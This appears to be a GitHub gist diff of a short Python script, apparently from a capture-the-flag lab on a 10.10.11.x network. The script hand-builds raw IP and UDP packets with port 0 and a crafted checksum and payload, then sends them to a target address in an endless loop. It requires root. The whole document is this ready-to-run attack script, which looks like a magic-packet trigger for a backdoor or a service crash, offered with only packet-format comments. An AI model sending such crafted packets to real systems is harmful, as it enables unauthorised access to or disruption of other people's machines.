bas-kirill · November 4, 2023 16:02 · Nov 4, 2023
diff --git a/gistfile1.txt b/gistfile1.txt
@@ -0,0 +1,38 @@
+#!/usr/bin/env python3
+import socket
+from struct import pack
+from time import sleep
+
+# |--------------- UDP HEADER --------------|
+# |    SOURCE PORT     |  DESTINATION PORT  | = 32 bits
+# |--------------------|--------------------|
+# |      LENGTH        |      CHECKSUM      | = 32 bits
+# |-----------------------------------------|
+
+def ip_header(src, dst):
+    return pack("!BBHHHBBH4s4s", 69, 0, 0, 1, 0, 64, 17, 0, socket.inet_aton(src), socket.inet_aton(dst))
+
+# pack function allows you to pack different values (bytes, shorts, ints, strings ) into bytes
+# Format:
+# ! - network byte order
+# B unsigned char
+# H unsigned short
+# I unsigned int
+# L unsigned long
+# Q unsigned long long
+# s char[]
+
+my_ip = '10.10.11.157' # change to your ip
+target_ip = '10.10.11.65'
+# Warning: you need r00t to run this
+# Good luck (:
+sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
+ip_hdr = ip_header(my_ip, target_ip)
+
+udp_hdr = pack("!HHHH", 0, 0, 32, 4919)
+data = pack("!BBB", 115, 49, 3)
+
+while True:
+    sock.sendto(ip_hdr + udp_hdr + data, (target_ip, 0))
+    sleep(1)